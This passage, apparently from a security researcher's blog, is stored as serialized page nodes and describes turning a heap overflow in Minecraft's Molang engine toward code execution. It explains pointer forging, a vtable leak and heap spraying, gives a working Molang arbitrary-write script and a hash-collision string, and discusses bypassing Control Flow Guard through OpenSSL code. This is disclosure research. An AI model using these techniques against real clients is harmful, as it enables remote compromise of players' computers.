",{"type":24,"tag":32,"props":156450,"children":156452},{"className":156451},[],[156453],{"type":29,"value":155980},{"type":29,"value":155936},{"type":24,"tag":25,"props":156456,"children":156457},{},[156458,156460,156465,156467,156472,156474,156480,156482,156487],{"type":29,"value":156459},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":32,"props":156461,"children":156463},{"className":156462},[],[156464],{"type":29,"value":155980},{"type":29,"value":156466},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":32,"props":156468,"children":156470},{"className":156469},[],[156471],{"type":29,"value":32499},{"type":29,"value":156473}," and the other to ",{"type":24,"tag":32,"props":156475,"children":156477},{"className":156476},[],[156478],{"type":29,"value":156479},"addr + 2",{"type":29,"value":156481}," (as long as ",{"type":24,"tag":32,"props":156483,"children":156485},{"className":156484},[],[156486],{"type":29,"value":32499},{"type":29,"value":156488}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":156490,"children":156491},{},[156492,156494,156499,156500,156505],{"type":29,"value":156493},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":32,"props":156495,"children":156497},{"className":156496},[],[156498],{"type":29,"value":151954},{"type":29,"value":155739},{"type":24,"tag":32,"props":156501,"children":156503},{"className":156502},[],[156504],{"type":29,"value":154758},{"type":29,"value":156506}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":80,"props":156508,"children":156510},{"code":156509},"variable.corrupted_var_map_ptr = variable.a;\n",[156511],{"type":24,"tag":32,"props":156512,"children":156513},{"__ignoreMap":7},[156514],{"type":29,"value":156509},{"type":24,"tag":25,"props":156516,"children":156517},{},[156518,156520,156525,156527,156533],{"type":29,"value":156519},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":32,"props":156521,"children":156523},{"className":156522},[],[156524],{"type":29,"value":40968},{"type":29,"value":156526}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":32,"props":156528,"children":156530},{"className":156529},[],[156531],{"type":29,"value":156532},"variable.corrupted_var_map_ptr",{"type":29,"value":156534},", even though the type itself is only a 32-bit float.",{"type":24,"tag":20686,"props":156536,"children":156538},{"id":156537},"finding-misaligned-pointers",[156539],{"type":29,"value":156540},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":156542,"children":156543},{},[156544,156546,156551,156552,156558],{"type":29,"value":156545},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":32,"props":156547,"children":156549},{"className":156548},[],[156550],{"type":29,"value":395},{"type":29,"value":13360},{"type":24,"tag":32,"props":156553,"children":156555},{"className":156554},[],[156556],{"type":29,"value":156557},"ptr + 2",{"type":29,"value":156559},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":156561,"children":156562},{},[156563,156568,156569,156574,156576,156581,156583,156588,156590,156595,156597,156602,156604,156610,156611,156616],{"type":24,"tag":32,"props":156564,"children":156566},{"className":156565},[],[156567],{"type":29,"value":154934},{"type":29,"value":1947},{"type":24,"tag":32,"props":156570,"children":156572},{"className":156571},[],[156573],{"type":29,"value":154957},{"type":29,"value":156575}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":32,"props":156577,"children":156579},{"className":156578},[],[156580],{"type":29,"value":154788},{"type":29,"value":156582}," contains three pointers: ",{"type":24,"tag":32,"props":156584,"children":156586},{"className":156585},[],[156587],{"type":29,"value":151954},{"type":29,"value":156589}," (the start of the allocated buffer), ",{"type":24,"tag":32,"props":156591,"children":156593},{"className":156592},[],[156594],{"type":29,"value":11513},{"type":29,"value":156596}," (just past the last element) and ",{"type":24,"tag":32,"props":156598,"children":156600},{"className":156599},[],[156601],{"type":29,"value":154887},{"type":29,"value":156603}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":32,"props":156605,"children":156607},{"className":156606},[],[156608],{"type":29,"value":156609},"uint16_t",{"type":29,"value":104127},{"type":24,"tag":32,"props":156612,"children":156614},{"className":156613},[],[156615],{"type":29,"value":11513},{"type":29,"value":156617}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":156619,"children":156620},{},[156621,156623,156628,156630,156636],{"type":29,"value":156622},"We can make the ",{"type":24,"tag":32,"props":156624,"children":156626},{"className":156625},[],[156627],{"type":29,"value":11513},{"type":29,"value":156629}," pointer equal to ",{"type":24,"tag":32,"props":156631,"children":156633},{"className":156632},[],[156634],{"type":29,"value":156635},"cap - 2",{"type":29,"value":156637}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":80,"props":156639,"children":156641},{"code":156640}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[156642],{"type":24,"tag":32,"props":156643,"children":156644},{"__ignoreMap":7},[156645],{"type":29,"value":156640},{"type":24,"tag":20586,"props":156647,"children":156648},{},[],{"type":24,"tag":25,"props":156650,"children":156651},{},[156652,156654,156659,156661,156666,156668,156673,156675,156680,156681,156686],{"type":29,"value":156653},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":32,"props":156655,"children":156657},{"className":156656},[],[156658],{"type":29,"value":151954},{"type":29,"value":156660}," pointer of ",{"type":24,"tag":32,"props":156662,"children":156664},{"className":156663},[],[156665],{"type":29,"value":154758},{"type":29,"value":156667}," in the entity object above, one that would index ",{"type":24,"tag":32,"props":156669,"children":156671},{"className":156670},[],[156672],{"type":29,"value":11513},{"type":29,"value":156674}," and the final ",{"type":24,"tag":32,"props":156676,"children":156678},{"className":156677},[],[156679],{"type":29,"value":154887},{"type":29,"value":156660},{"type":24,"tag":32,"props":156682,"children":156684},{"className":156683},[],[156685],{"type":29,"value":154934},{"type":29,"value":156687}," also in the same entity object above.",{"type":24,"tag":25,"props":156689,"children":156690},{},[156691,156693,156699,156700,156706,156708,156713,156714,156719,156721,156726,156728,156733,156734,156739,156741,156746],{"type":29,"value":156692},"The corrupted variables ",{"type":24,"tag":32,"props":156694,"children":156696},{"className":156695},[],[156697],{"type":29,"value":156698},"variable.corrupted_len_ptr",{"type":29,"value":13360},{"type":24,"tag":32,"props":156701,"children":156703},{"className":156702},[],[156704],{"type":29,"value":156705},"variable.corrupted_cap_ptr",{"type":29,"value":156707}," point to ",{"type":24,"tag":32,"props":156709,"children":156711},{"className":156710},[],[156712],{"type":29,"value":11513},{"type":29,"value":13360},{"type":24,"tag":32,"props":156715,"children":156717},{"className":156716},[],[156718],{"type":29,"value":154887},{"type":29,"value":156720},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":32,"props":156722,"children":156724},{"className":156723},[],[156725],{"type":29,"value":156532},{"type":29,"value":156727},", points to the ",{"type":24,"tag":32,"props":156729,"children":156731},{"className":156730},[],[156732],{"type":29,"value":151954},{"type":29,"value":155739},{"type":24,"tag":32,"props":156735,"children":156737},{"className":156736},[],[156738],{"type":29,"value":154758},{"type":29,"value":156740},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":32,"props":156742,"children":156744},{"className":156743},[],[156745],{"type":29,"value":154758},{"type":29,"value":156747},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":156749,"children":156750},{},[156751],{"type":29,"value":156752},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":20686,"props":156754,"children":156756},{"id":156755},"leaking-pointers",[156757],{"type":29,"value":156758},"Leaking Pointers",{"type":24,"tag":25,"props":156760,"children":156761},{},[156762,156764,156770],{"type":29,"value":156763},"In C++, an object’s first field is typically a ",{"type":24,"tag":32,"props":156765,"children":156767},{"className":156766},[],[156768],{"type":29,"value":156769},"vtable",{"type":29,"value":156771}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":80,"props":156773,"children":156775},{"code":156774}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[156776],{"type":24,"tag":32,"props":156777,"children":156778},{"__ignoreMap":7},[156779],{"type":29,"value":156774},{"type":24,"tag":25,"props":156781,"children":156782},{},[156783,156784,156789,156791,156796,156798,156803,156805,156810,156812,156817,156818,156823,156825,156830],{"type":29,"value":3131},{"type":24,"tag":32,"props":156785,"children":156787},{"className":156786},[],[156788],{"type":29,"value":40968},{"type":29,"value":156790}," field inside a ",{"type":24,"tag":32,"props":156792,"children":156794},{"className":156793},[],[156795],{"type":29,"value":154431},{"type":29,"value":156797}," is at offset ",{"type":24,"tag":32,"props":156799,"children":156801},{"className":156800},[],[156802],{"type":29,"value":154692},{"type":29,"value":156804},". We already control a corrupted variable, ",{"type":24,"tag":32,"props":156806,"children":156808},{"className":156807},[],[156809],{"type":29,"value":156698},{"type":29,"value":156811},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":32,"props":156813,"children":156815},{"className":156814},[],[156816],{"type":29,"value":11513},{"type":29,"value":155739},{"type":24,"tag":32,"props":156819,"children":156821},{"className":156820},[],[156822],{"type":29,"value":154934},{"type":29,"value":156824}," by 2 bytes, which in turn advances ",{"type":24,"tag":32,"props":156826,"children":156828},{"className":156827},[],[156829],{"type":29,"value":156698},{"type":29,"value":156831}," by 2 bytes.",{"type":24,"tag":25,"props":156833,"children":156834},{},[156835,156837,156842,156844,156850,156851,156856,156857,156862,156864,156869],{"type":29,"value":156836},"By moving ",{"type":24,"tag":32,"props":156838,"children":156840},{"className":156839},[],[156841],{"type":29,"value":11513},{"type":29,"value":156843}," so it equals ",{"type":24,"tag":32,"props":156845,"children":156847},{"className":156846},[],[156848],{"type":29,"value":156849},"cap - 0x38",{"type":29,"value":104127},{"type":24,"tag":32,"props":156852,"children":156854},{"className":156853},[],[156855],{"type":29,"value":40968},{"type":29,"value":155739},{"type":24,"tag":32,"props":156858,"children":156860},{"className":156859},[],[156861],{"type":29,"value":156698},{"type":29,"value":156863}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":32,"props":156865,"children":156867},{"className":156866},[],[156868],{"type":29,"value":156769},{"type":29,"value":156870}," pointer. We can then capture that pointer with:",{"type":24,"tag":80,"props":156872,"children":156874},{"code":156873},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156875],{"type":24,"tag":32,"props":156876,"children":156877},{"__ignoreMap":7},[156878],{"type":29,"value":156873},{"type":24,"tag":25,"props":156880,"children":156881},{},[156882,156884,156889,156891,156896,156898,156903,156905,156911],{"type":29,"value":156883},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":32,"props":156885,"children":156887},{"className":156886},[],[156888],{"type":29,"value":11513},{"type":29,"value":156890}," until it equals ",{"type":24,"tag":32,"props":156892,"children":156894},{"className":156893},[],[156895],{"type":29,"value":156635},{"type":29,"value":156897},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":32,"props":156899,"children":156901},{"className":156900},[],[156902],{"type":29,"value":156769},{"type":29,"value":156904}," address in ",{"type":24,"tag":32,"props":156906,"children":156908},{"className":156907},[],[156909],{"type":29,"value":156910},"variable.saved_vtable_pointer",{"type":29,"value":226},{"type":24,"tag":20586,"props":156913,"children":156914},{},[],{"type":24,"tag":25,"props":156916,"children":156917},{},[156918,156920,156925,156927,156933],{"type":29,"value":156919},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":32,"props":156921,"children":156923},{"className":156922},[],[156924],{"type":29,"value":45321},{"type":29,"value":156926}," to the address ",{"type":24,"tag":32,"props":156928,"children":156930},{"className":156929},[],[156931],{"type":29,"value":156932},"vtable + 0x1000",{"type":29,"value":156934}," looks like this:",{"type":24,"tag":80,"props":156936,"children":156938},{"code":156937},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156939],{"type":24,"tag":32,"props":156940,"children":156941},{"__ignoreMap":7},[156942],{"type":29,"value":156937},{"type":24,"tag":20686,"props":156944,"children":156946},{"id":156945},"required-heap-layout",[156947],{"type":29,"value":156948},"Required Heap Layout",{"type":24,"tag":25,"props":156950,"children":156951},{},[156952],{"type":29,"value":156953},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":80,"props":156955,"children":156957},{"code":156956}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[156958],{"type":24,"tag":32,"props":156959,"children":156960},{"__ignoreMap":7},[156961],{"type":29,"value":156956},{"type":24,"tag":25,"props":156963,"children":156964},{},[156965,156967,156973,156975,156980,156982,156987,156989,156994,156995,157000],{"type":29,"value":156966},"The first region (",{"type":24,"tag":32,"props":156968,"children":156970},{"className":156969},[],[156971],{"type":29,"value":156972},"Heap Region 1",{"type":29,"value":156974},") contains alternating ",{"type":24,"tag":32,"props":156976,"children":156978},{"className":156977},[],[156979],{"type":29,"value":154758},{"type":29,"value":156981},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":32,"props":156983,"children":156985},{"className":156984},[],[156986],{"type":29,"value":154788},{"type":29,"value":156988}," pointers of ",{"type":24,"tag":32,"props":156990,"children":156992},{"className":156991},[],[156993],{"type":29,"value":154758},{"type":29,"value":13360},{"type":24,"tag":32,"props":156996,"children":156998},{"className":156997},[],[156999],{"type":29,"value":154934},{"type":29,"value":157001}," from the entity object for our main attack.",{"type":24,"tag":25,"props":157003,"children":157004},{},[157005,157007,157013,157015,157020,157022,157027,157029,157034,157036,157041],{"type":29,"value":157006},"The second region (",{"type":24,"tag":32,"props":157008,"children":157010},{"className":157009},[],[157011],{"type":29,"value":157012},"Heap Region 2",{"type":29,"value":157014},") contains interleaved ",{"type":24,"tag":32,"props":157016,"children":157018},{"className":157017},[],[157019],{"type":29,"value":154934},{"type":29,"value":157021},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":32,"props":157023,"children":157025},{"className":157024},[],[157026],{"type":29,"value":156769},{"type":29,"value":157028}," pointer into ",{"type":24,"tag":32,"props":157030,"children":157032},{"className":157031},[],[157033],{"type":29,"value":156698},{"type":29,"value":157035}," during our main attack. It could be any object with a ",{"type":24,"tag":32,"props":157037,"children":157039},{"className":157038},[],[157040],{"type":29,"value":156769},{"type":29,"value":157042},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":157044,"children":157045},{},[157046,157048,157054,157056,157061],{"type":29,"value":157047},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":32,"props":157049,"children":157051},{"className":157050},[],[157052],{"type":29,"value":157053},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":157055}," will very likely clobber the ",{"type":24,"tag":32,"props":157057,"children":157059},{"className":157058},[],[157060],{"type":29,"value":155254},{"type":29,"value":157062}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":157064,"children":157065},{},[157066],{"type":29,"value":157067},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":157069,"children":157070},{},[157071],{"type":29,"value":157072},"The final exploit proceeds in three stages:",{"type":24,"tag":3100,"props":157074,"children":157075},{},[157076,157081,157086],{"type":24,"tag":3104,"props":157077,"children":157078},{},[157079],{"type":29,"value":157080},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":3104,"props":157082,"children":157083},{},[157084],{"type":29,"value":157085},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":3104,"props":157087,"children":157088},{},[157089],{"type":29,"value":157090},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":20686,"props":157092,"children":157094},{"id":157093},"initial-corruption-variant-lfh-heap-approach",[157095],{"type":29,"value":157096},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":157098,"children":157099},{},[157100],{"type":29,"value":157101},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":157103,"children":157104},{},[157105,157107,157112,157113,157119],{"type":29,"value":157106},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":32,"props":157108,"children":157110},{"className":157109},[],[157111],{"type":29,"value":155001},{"type":29,"value":8872},{"type":24,"tag":32,"props":157114,"children":157116},{"className":157115},[],[157117],{"type":29,"value":157118},"last_index",{"type":29,"value":157120}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":157122,"children":157123},{},[157124,157126,157131,157132,157137,157139,157144,157146,157151,157153,157158,157160,157166,157167,157173,157174,157180],{"type":29,"value":157125},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":32,"props":157127,"children":157129},{"className":157128},[],[157130],{"type":29,"value":151954},{"type":29,"value":155739},{"type":24,"tag":32,"props":157133,"children":157135},{"className":157134},[],[157136],{"type":29,"value":154934},{"type":29,"value":157138},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":32,"props":157140,"children":157142},{"className":157141},[],[157143],{"type":29,"value":154692},{"type":29,"value":157145}," within the ",{"type":24,"tag":32,"props":157147,"children":157149},{"className":157148},[],[157150],{"type":29,"value":154934},{"type":29,"value":157152}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":32,"props":157154,"children":157156},{"className":157155},[],[157157],{"type":29,"value":57459},{"type":29,"value":157159}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":32,"props":157161,"children":157163},{"className":157162},[],[157164],{"type":29,"value":157165},"0xfb",{"type":29,"value":133},{"type":24,"tag":32,"props":157168,"children":157170},{"className":157169},[],[157171],{"type":29,"value":157172},"0xfc",{"type":29,"value":13360},{"type":24,"tag":32,"props":157175,"children":157177},{"className":157176},[],[157178],{"type":29,"value":157179},"0xfd",{"type":29,"value":157181}," the script would do:",{"type":24,"tag":80,"props":157183,"children":157185},{"code":157184},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[157186],{"type":24,"tag":32,"props":157187,"children":157188},{"__ignoreMap":7},[157189],{"type":29,"value":157184},{"type":24,"tag":25,"props":157191,"children":157192},{},[157193,157195,157200,157201,157207,157209,157214],{"type":29,"value":157194},"That line would write the ",{"type":24,"tag":32,"props":157196,"children":157198},{"className":157197},[],[157199],{"type":29,"value":57459},{"type":29,"value":94003},{"type":24,"tag":32,"props":157202,"children":157204},{"className":157203},[],[157205],{"type":29,"value":157206},"0x302700fb00fc00fd",{"type":29,"value":157208}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":32,"props":157210,"children":157212},{"className":157211},[],[157213],{"type":29,"value":154934},{"type":29,"value":157215}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":1019,"props":157217,"children":157219},{"id":157218},"hijacking-execution",[157220],{"type":29,"value":157221},"Hijacking Execution",{"type":24,"tag":25,"props":157223,"children":157224},{},[157225,157227,157232,157234,157240],{"type":29,"value":157226},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":32,"props":157228,"children":157230},{"className":157229},[],[157231],{"type":29,"value":156769},{"type":29,"value":157233}," and function pointers in the writable ",{"type":24,"tag":32,"props":157235,"children":157237},{"className":157236},[],[157238],{"type":29,"value":157239},".data",{"type":29,"value":157241}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":157243,"children":157244},{},[157245],{"type":29,"value":157246},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":157248,"children":157249},{},[157250],{"type":29,"value":157251},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":157253,"children":157254},{},[157255],{"type":24,"tag":6301,"props":157256,"children":157258},{"alt":52402,"src":157257},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":157260,"children":157261},{},[157262,157264,157270,157272,157278,157280,157285,157287,157292,157294,157300,157302,157307,157309,157315,157317,157322],{"type":29,"value":157263},"This snippet calls a method on an object: ",{"type":24,"tag":32,"props":157265,"children":157267},{"className":157266},[],[157268],{"type":29,"value":157269},"rcx",{"type":29,"value":157271}," holds the object pointer, the first ",{"type":24,"tag":32,"props":157273,"children":157275},{"className":157274},[],[157276],{"type":29,"value":157277},"mov",{"type":29,"value":157279}," loads the object's ",{"type":24,"tag":32,"props":157281,"children":157283},{"className":157282},[],[157284],{"type":29,"value":156769},{"type":29,"value":157286}," into ",{"type":24,"tag":32,"props":157288,"children":157290},{"className":157289},[],[157291],{"type":29,"value":58599},{"type":29,"value":157293},", and the function pointer at ",{"type":24,"tag":32,"props":157295,"children":157297},{"className":157296},[],[157298],{"type":29,"value":157299},"rax + 0x8",{"type":29,"value":157301}," is read into ",{"type":24,"tag":32,"props":157303,"children":157305},{"className":157304},[],[157306],{"type":29,"value":58599},{"type":29,"value":157308},". Finally, ",{"type":24,"tag":32,"props":157310,"children":157312},{"className":157311},[],[157313],{"type":29,"value":157314},"__guard_dispatch_icall_fptr",{"type":29,"value":157316}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":32,"props":157318,"children":157320},{"className":157319},[],[157321],{"type":29,"value":58599},{"type":29,"value":157323}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":157325,"children":157326},{},[157327],{"type":29,"value":157328},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":157330,"children":157331},{},[157332],{"type":24,"tag":6301,"props":157333,"children":157335},{"alt":52402,"src":157334},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":157337,"children":157338},{},[157339,157341,157347,157349,157355],{"type":29,"value":157340},"Here, the function pointer at ",{"type":24,"tag":32,"props":157342,"children":157344},{"className":157343},[],[157345],{"type":29,"value":157346},"vtable + 0x10",{"type":29,"value":157348}," is loaded into ",{"type":24,"tag":32,"props":157350,"children":157352},{"className":157351},[],[157353],{"type":29,"value":157354},"rdx",{"type":29,"value":157356}," and then called directly.",{"type":24,"tag":25,"props":157358,"children":157359},{},[157360],{"type":29,"value":157361},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":157363,"children":157364},{},[157365,157367,157372],{"type":29,"value":157366},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":32,"props":157368,"children":157370},{"className":157369},[],[157371],{"type":29,"value":156769},{"type":29,"value":157373}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":20686,"props":157375,"children":157377},{"id":157376},"locating-overwrite-targets",[157378],{"type":29,"value":157379},"Locating Overwrite Targets",{"type":24,"tag":25,"props":157381,"children":157382},{},[157383,157385,157391,157392,157397,157399,157404,157406,157412],{"type":29,"value":157384},"One of the first targets we identified were the ",{"type":24,"tag":32,"props":157386,"children":157388},{"className":157387},[],[157389],{"type":29,"value":157390},"malloc",{"type":29,"value":13360},{"type":24,"tag":32,"props":157393,"children":157395},{"className":157394},[],[157396],{"type":29,"value":152002},{"type":29,"value":157398}," callbacks. These reside in the ",{"type":24,"tag":32,"props":157400,"children":157402},{"className":157401},[],[157403],{"type":29,"value":157239},{"type":29,"value":157405}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":32,"props":157407,"children":157409},{"className":157408},[],[157410],{"type":29,"value":157411},"OPENSSL_malloc/free",{"type":29,"value":133860},{"type":24,"tag":25,"props":157414,"children":157415},{},[157416],{"type":24,"tag":6301,"props":157417,"children":157419},{"alt":52402,"src":157418},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":157421,"children":157422},{},[157423],{"type":29,"value":157424},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":157426,"children":157427},{},[157428,157430,157436,157438,157444,157446,157451],{"type":29,"value":157429},"Later, we found another promising function: ",{"type":24,"tag":32,"props":157431,"children":157433},{"className":157432},[],[157434],{"type":29,"value":157435},"ossl_ec_key_new_method_int",{"type":29,"value":157437},". This function creates and initializes an ",{"type":24,"tag":32,"props":157439,"children":157441},{"className":157440},[],[157442],{"type":29,"value":157443},"EC_KEY",{"type":29,"value":157445}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":32,"props":157447,"children":157449},{"className":157448},[],[157450],{"type":29,"value":157239},{"type":29,"value":157452},") containing function pointers:",{"type":24,"tag":25,"props":157454,"children":157455},{},[157456],{"type":24,"tag":6301,"props":157457,"children":157459},{"alt":52402,"src":157458},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":157461,"children":157462},{},[157463,157465,157471,157472,157478,157480,157485,157487,157493,157495,157500,157502,157507,157509,157514],{"type":29,"value":157464},"In the image above, ",{"type":24,"tag":32,"props":157466,"children":157468},{"className":157467},[],[157469],{"type":29,"value":157470},"ret->meth",{"type":29,"value":127324},{"type":24,"tag":32,"props":157473,"children":157475},{"className":157474},[],[157476],{"type":29,"value":157477},"default_ec_key_meth",{"type":29,"value":157479},", which points to a structure of function pointers located in ",{"type":24,"tag":32,"props":157481,"children":157483},{"className":157482},[],[157484],{"type":29,"value":157239},{"type":29,"value":157486},". It then calls ",{"type":24,"tag":32,"props":157488,"children":157490},{"className":157489},[],[157491],{"type":29,"value":157492},"ret->meth->init",{"type":29,"value":157494},", passing the ",{"type":24,"tag":32,"props":157496,"children":157498},{"className":157497},[],[157499],{"type":29,"value":4216},{"type":29,"value":157501}," pointer (",{"type":24,"tag":32,"props":157503,"children":157505},{"className":157504},[],[157506],{"type":29,"value":13358},{"type":29,"value":157508},"). This alone isn’t especially useful because ",{"type":24,"tag":32,"props":157510,"children":157512},{"className":157511},[],[157513],{"type":29,"value":13358},{"type":29,"value":157515}," is heap-allocated.",{"type":24,"tag":25,"props":157517,"children":157518},{},[157519,157521,157526],{"type":29,"value":157520},"But, if we look at how 